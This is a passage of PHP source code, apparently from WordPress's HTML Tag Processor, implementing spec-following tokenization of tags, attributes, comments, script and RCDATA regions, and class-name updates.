	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

